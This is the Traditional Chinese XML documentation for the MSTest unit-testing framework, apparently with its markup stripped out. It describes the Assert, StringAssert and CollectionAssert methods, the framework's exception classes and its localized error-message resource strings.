在下列情況下,要包含在例外狀況中的訊息: - 是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 擲回 AssertFailedException。 - - - Always thrown. - - - - - 擲回 AssertFailedException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - Always thrown. - - - - - 擲回 AssertFailedException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Always thrown. - - - - - 擲回 AssertInconclusiveException。 - - - Always thrown. - - - - - 擲回 AssertInconclusiveException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - Always thrown. - - - - - 擲回 AssertInconclusiveException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Always thrown. - - - - - 「靜態等於多載」用於比較兩種類型的執行個體的參考 - 相等。這種方法不應該用於比較兩個執行個體是否 - 相等。這個物件一律會擲出 Assert.Fail。請在單元測試中使用 - Assert.AreEqual 和相關聯多載。 - - 物件 A - 物件 B - 一律為 False。 - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 執行委派。 - - - - - 測試委派 所指定的程式碼是否會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並於程式碼未擲回例外狀況或擲回非 類型的例外狀況時,擲回 AssertFailedException。 - - 委派給要進行測試且預期會擲回例外狀況的程式碼。 - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 執行委派。 - - - - - 測試委派 所指定的程式碼是否會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並於程式碼未擲回例外狀況或擲回非 類型的例外狀況時,擲回 AssertFailedException。 - - 委派給要進行測試且預期會擲回例外狀況的程式碼。 - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - 在將下者格式化時要使用的參數陣列: 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 執行委派。 - - - - - 以 "\\0" 取代 null 字元 ('\0')。 - - - 要搜尋的字串。 - - - null 字元以 "\\0" 取代的已轉換字串。 - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - 建立並擲回 AssertionFailedException 的 Helper 函數 - - - 擲回例外狀況的判斷提示名稱 - - - 描述判斷提示失敗條件的訊息 - - - 參數。 - - - - - 檢查參數的有效條件 - - - 參數。 - - - 判斷提示「名稱」。 - - - 參數名稱 - - - 無效參數例外狀況的訊息 - - - 參數。 - - - - - 將物件安全地轉換成字串,並處理 null 值和 null 字元。 - Null 值會轉換成 "(null)"。Null 字元會轉換成 "\\0"。 - - - 要轉換為字串的物件。 - - - 已轉換的字串。 - - - - - 字串判斷提示。 - - - - - 取得 CollectionAssert 功能的單一執行個體。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 測試指定的字串是否包含指定的子字串, - 並在子字串未出現在測試字串內時 - 擲回例外狀況。 - - - 預期包含下者的字串: 。 - - - 預期在下列時間內發生的字串: 。 - - - Thrown if is not found in - . - - - - - 測試指定的字串是否包含指定的子字串, - 並在子字串未出現在測試字串內時 - 擲回例外狀況。 - - - 預期包含下者的字串: 。 - - - 預期在下列時間內發生的字串: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not found in - . - - - - - 測試指定的字串是否包含指定的子字串, - 並在子字串未出現在測試字串內時 - 擲回例外狀況。 - - - 預期包含下者的字串: 。 - - - 預期在下列時間內發生的字串: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not found in - . - - - - - 測試指定的字串開頭是否為指定的子字串, - 並在測試字串的開頭不是子字串時 - 擲回例外狀況。 - - - 字串預期開頭為 。 - - - 字串預期為下者的前置詞: 。 - - - Thrown if does not begin with - . - - - - - 測試指定的字串開頭是否為指定的子字串, - 並在測試字串的開頭不是子字串時 - 擲回例外狀況。 - - - 字串預期開頭為 。 - - - 字串預期為下者的前置詞: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的開頭不是 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not begin with - . - - - - - 測試指定的字串開頭是否為指定的子字串, - 並在測試字串的開頭不是子字串時 - 擲回例外狀況。 - - - 字串預期開頭為 。 - - - 字串預期為下者的前置詞: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的開頭不是 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not begin with - . - - - - - 測試指定的字串結尾是否為指定的子字串, - 並在測試字串的結尾不是子字串時 - 擲回例外狀況。 - - - 字串預期結尾為 。 - - - 字串預期為下者的字尾: 。 - - - Thrown if does not end with - . - - - - - 測試指定的字串結尾是否為指定的子字串, - 並在測試字串的結尾不是子字串時 - 擲回例外狀況。 - - - 字串預期結尾為 。 - - - 字串預期為下者的字尾: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的結尾不是 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not end with - . - - - - - 測試指定的字串結尾是否為指定的子字串, - 並在測試字串的結尾不是子字串時 - 擲回例外狀況。 - - - 字串預期結尾為 。 - - - 字串預期為下者的字尾: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的結尾不是 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not end with - . - - - - - 測試指定的字串是否符合規則運算式, - 並在字串不符合運算式時擲回例外狀況。 - - - 預期符合下者的字串: 。 - - - 規則運算式, - 預期相符。 - - - Thrown if does not match - . - - - - - 測試指定的字串是否符合規則運算式, - 並在字串不符合運算式時擲回例外狀況。 - - - 預期符合下者的字串: 。 - - - 規則運算式, - 預期相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不符合 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not match - . - - - - - 測試指定的字串是否符合規則運算式, - 並在字串不符合運算式時擲回例外狀況。 - - - 預期符合下者的字串: 。 - - - 規則運算式, - 預期相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不符合 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not match - . - - - - - 測試指定的字串是否不符合規則運算式, - 並在字串符合運算式時擲回例外狀況。 - - - 預期不符合下者的字串: 。 - - - 規則運算式, - 預期不相符。 - - - Thrown if matches . - - - - - 測試指定的字串是否不符合規則運算式, - 並在字串符合運算式時擲回例外狀況。 - - - 預期不符合下者的字串: 。 - - - 規則運算式, - 預期不相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 符合 。訊息會顯示在 - 測試結果中。 - - - Thrown if matches . - - - - - 測試指定的字串是否不符合規則運算式, - 並在字串符合運算式時擲回例外狀況。 - - - 預期不符合下者的字串: 。 - - - 規則運算式, - 預期不相符。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 符合 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if matches . - - - - - 要測試與單元測試內集合相關聯之各種條件的 - 協助程式類別集合。如果不符合正在測試的條件, - 則會擲回例外狀況。 - - - - - 取得 CollectionAssert 功能的單一執行個體。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 測試指定的集合是否包含指定的元素, - 並在元素不在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期在集合中的元素。 - - - Thrown if is not found in - . - - - - - 測試指定的集合是否包含指定的元素, - 並在元素不在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not found in - . - - - - - 測試指定的集合是否包含指定的元素, - 並在元素不在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not found in - . - - - - - 測試指定的集合是否未包含指定的元素, - 並在元素在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期不在集合中的元素。 - - - Thrown if is found in - . - - - - - 測試指定的集合是否未包含指定的元素, - 並在元素在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期不在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 位於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is found in - . - - - - - 測試指定的集合是否未包含指定的元素, - 並在元素在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期不在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 位於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is found in - . - - - - - 測試所指定集合中的所有項目是否都為非 null,並在有任何元素為 null 時 - 擲回例外狀況。 - - - 要在其中搜尋 null 元素的集合。 - - - Thrown if a null element is found in . - - - - - 測試所指定集合中的所有項目是否都為非 null,並在有任何元素為 null 時 - 擲回例外狀況。 - - - 要在其中搜尋 null 元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含 null 元素。訊息會顯示在測試結果中。 - - - Thrown if a null element is found in . - - - - - 測試所指定集合中的所有項目是否都為非 null,並在有任何元素為 null 時 - 擲回例外狀況。 - - - 要在其中搜尋 null 元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含 null 元素。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if a null element is found in . - - - - - 測試所指定集合中的所有項目是否都是唯一的, - 並在集合中的任兩個元素相等時擲回例外狀況。 - - - 在其中搜尋重複元素的集合。 - - - Thrown if a two or more equal elements are found in - . - - - - - 測試所指定集合中的所有項目是否都是唯一的, - 並在集合中的任兩個元素相等時擲回例外狀況。 - - - 在其中搜尋重複元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含至少一個重複元素。訊息會顯示在 - 測試結果中。 - - - Thrown if a two or more equal elements are found in - . - - - - - 測試所指定集合中的所有項目是否都是唯一的, - 並在集合中的任兩個元素相等時擲回例外狀況。 - - - 在其中搜尋重複元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含至少一個重複元素。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if a two or more equal elements are found in - . - - - - - 測試其中一個集合是否為另一個集合的子集, - 並在子集中的任何元素也不在超集中時擲回 - 例外狀況。 - - - 集合預期為下者的子集: 。 - - - 集合預期為下者的超集: - - - Thrown if an element in is not found in - . - - - - - 測試其中一個集合是否為另一個集合的子集, - 並在子集中的任何元素也不在超集中時擲回 - 例外狀況。 - - - 集合預期為下者的子集: 。 - - - 集合預期為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 在下者中找不到: 。 - 訊息會顯示在測試結果中。 - - - Thrown if an element in is not found in - . - - - - - 測試其中一個集合是否為另一個集合的子集, - 並在子集中的任何元素也不在超集中時擲回 - 例外狀況。 - - - 集合預期為下者的子集: 。 - - - 集合預期為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 在下者中找不到: 。 - 訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if an element in is not found in - . - - - - - 測試其中一個集合是否不為另一個集合的子集, - 並在子集中的所有元素也都在超集中時擲回 - 例外狀況。 - - - 集合預期不為下者的子集: 。 - - - 集合預期不為下者的超集: - - - Thrown if every element in is also found in - . - - - - - 測試其中一個集合是否不為另一個集合的子集, - 並在子集中的所有元素也都在超集中時擲回 - 例外狀況。 - - - 集合預期不為下者的子集: 。 - - - 集合預期不為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的每個元素: - 也會在下者中找到: 。 - 訊息會顯示在測試結果中。 - - - Thrown if every element in is also found in - . - - - - - 測試其中一個集合是否不為另一個集合的子集, - 並在子集中的所有元素也都在超集中時擲回 - 例外狀況。 - - - 集合預期不為下者的子集: 。 - - - 集合預期不為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的每個元素: - 也會在下者中找到: 。 - 訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if every element in is also found in - . - - - - - 測試兩個集合是否包含相同元素, - 並在任一集合包含不在其他集合中的元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試所預期的 - 元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 測試兩個集合是否包含相同元素, - 並在任一集合包含不在其他集合中的元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試所預期的 - 元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在其中一個集合中找到元素但在另一個集合中找不到元素時 - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 測試兩個集合是否包含相同元素, - 並在任一集合包含不在其他集合中的元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試所預期的 - 元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在其中一個集合中找到元素但在另一個集合中找不到元素時 - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 測試兩個集合是否包含不同元素,並在兩個集合 - 包含不管順序的相同元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試預期與實際集合 - 不同的元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 測試兩個集合是否包含不同元素,並在兩個集合 - 包含不管順序的相同元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試預期與實際集合 - 不同的元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含與下者相同的元素: 。訊息 - 會顯示在測試結果中。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 測試兩個集合是否包含不同元素,並在兩個集合 - 包含不管順序的相同元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試預期與實際集合 - 不同的元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含與下者相同的元素: 。訊息 - 會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 測試所指定集合中的所有元素是否為預期類型的執行個體, - 並在預期類型不在一或多個元素的繼承階層中時 - 擲回例外狀況。 - - - 包含測試預期為所指定類型之元素 - 的集合。 - - - 下者的每個元素的預期類型: 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 測試所指定集合中的所有元素是否為預期類型的執行個體, - 並在預期類型不在一或多個元素的繼承階層中時 - 擲回例外狀況。 - - - 包含測試預期為所指定類型之元素 - 的集合。 - - - 下者的每個元素的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 不是下者的執行個體: - 。訊息會顯示在測試結果中。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 測試所指定集合中的所有元素是否為預期類型的執行個體, - 並在預期類型不在一或多個元素的繼承階層中時 - 擲回例外狀況。 - - - 包含測試預期為所指定類型之元素 - 的集合。 - - - 下者的每個元素的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 不是下者的執行個體: - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 參數陣列,使用時機為格式 。 - - - Thrown if is equal to . - - - - - 判斷第一個集合是否為第二個集合的子集。 - 如果任一個集合包含重複的元素,則元素 - 在子集中的出現次數必須小於或 - 等於在超集中的出現次數。 - - - 測試預期包含在下者中的集合: 。 - - - 測試預期包含下者的集合: 。 - - - True 的情況為 是下者的子集: - ,否則為 false。 - - - - - 建構字典,內含每個元素在所指定集合中 - 的出現次數。 - - - 要處理的集合。 - - - 集合中的 null 元素數目。 - - - 包含每個元素在所指定集合內之出現次數 - 的字典。 - - - - - 尋找兩個集合之間不相符的元素。不相符的元素 - 為出現在預期集合中的次數 - 不同於它在實際集合中出現的次數。 - 集合假設為具有數目相同之元素的不同非 null 參考。 - 呼叫者負責這個層級的驗證。 - 如果沒有不相符的元素,則函數會傳回 false, - 而且不應該使用 out 參數。 - - - 要比較的第一個集合。 - - - 要比較的第二個集合。 - - - 下者的預期出現次數: - 或 0 (如果沒有不相符的 - 元素)。 - - - 下者的實際出現次數: - 或 0 (如果沒有不相符的 - 元素)。 - - - 不相符的元素 (可能為 null) 或 null (如果沒有 - 不相符的元素)。 - - - 如果找到不相符的元素,則為 true,否則為 false。 - - - - - 使用 object.Equals 來比較物件 - - - - - 架構例外狀況的基底類別。 - - - - - 初始化 類別的新執行個體。 - - - - - 初始化 類別的新執行個體。 - - 訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 訊息。 - - - - 強型別資源類別,用於查詢當地語系化字串等。 - - - - - 傳回這個類別所使用的快取的 ResourceManager 執行個體。 - - - - - 針對使用這個強型別資源類別的所有資源查閱, - 覆寫目前執行緒的 CurrentUICulture 屬性。 - - - - - 查閱與「存取字串有無效的語法。」類似的當地語系化字串。 - - - - - 查閱與「預期在集合中包含 {1} 項 <{2}>,但實際的集合卻有 {3} 項。{0}」類似的當地語系化字串。 - - - - - 查閱與「找到重複的項目:<{1}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期:<{1}>。大小寫與下列實際值不同:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期值 <{1}> 和實際值 <{2}> 之間的預期差異不大於 <{3}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期:<{1} ({2})>。實際:<{3} ({4})>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期:<{1}>。實際:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期值 <{1}> 和實際值 <{2}> 之間的預期差異大於 <{3}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期任何值 (<{1}> 除外)。實際:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「不要將實值型別傳遞給 AreSame()。轉換成 Object 的值從此不再一樣。請考慮使用 AreEqual()。{0}」類似的當地語系化字串。 - - - - - 查閱與「{0} 失敗。{1}」類似的當地語系化字串。 - - - - - 不支援查詢類似非同步處理 TestMethod 與 UITestMethodAttribute 的當地語系化字串。移除非同步處理或使用 TestMethodAttribute。 - - - - - 查閱與「兩個集合都是空的。{0}」類似的當地語系化字串。 - - - - - 查閱與「兩個集合含有相同的元素。」類似的當地語系化字串。 - - - - - 查閱與「兩個集合參考都指向同一個集合物件。{0}」類似的當地語系化字串。 - - - - - 查閱與「兩個集合含有相同的元素。{0}」類似的當地語系化字串。 - - - - - 查閱與「{0}({1})」類似的當地語系化字串。 - - - - - 查閱與「(null)」類似的當地語系化字串。 - - - - - 查閱與「(物件)」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 未包含字串 '{1}'。{2}。」類似的當地語系化字串。 - - - - - 查閱與「{0}({1})」類似的當地語系化字串。 - - - - - 查閱與「Assert.Equals 不應使用於判斷提示。請改用 Assert.AreEqual 及多載。」類似的當地語系化字串。 - - - - - 查閱與「集合中的元素數目不符。預期:<{1}>。實際:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「位於索引 {0} 的元素不符。」類似的當地語系化字串。 - - - - - 查閱與「位於索引 {1} 的項目不是預期的類型。預期的類型:<{2}>。實際的類型:<{3}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「位於索引 {1} 的元素是 (null)。預期的類型:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 不是以字串 '{1}' 結尾。{2}。」類似的當地語系化字串。 - - - - - 查閱與「無效的引數 - EqualsTester 無法使用 null。」類似的當地語系化字串。 - - - - - 查閱與「無法將 {0} 類型的物件轉換為 {1}。」類似的當地語系化字串。 - - - - - 查閱與「所參考的內部物件已不再有效。」類似的當地語系化字串。 - - - - - 查閱與「參數 '{0}' 無效。{1}。」類似的當地語系化字串。 - - - - - 查閱與「屬性 {0} 具有類型 {1}; 預期為類型 {2}。」類似的當地語系化字串。 - - - - - 查閱與「{0} 預期的類型:<{1}>。實際的類型:<{2}>。」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 與模式 '{1}' 不符。{2}。」類似的當地語系化字串。 - - - - - 查閱與「錯誤的類型:<{1}>。實際的類型:<{2}>。{0}」類似的當地語系化字串。 - - - - - 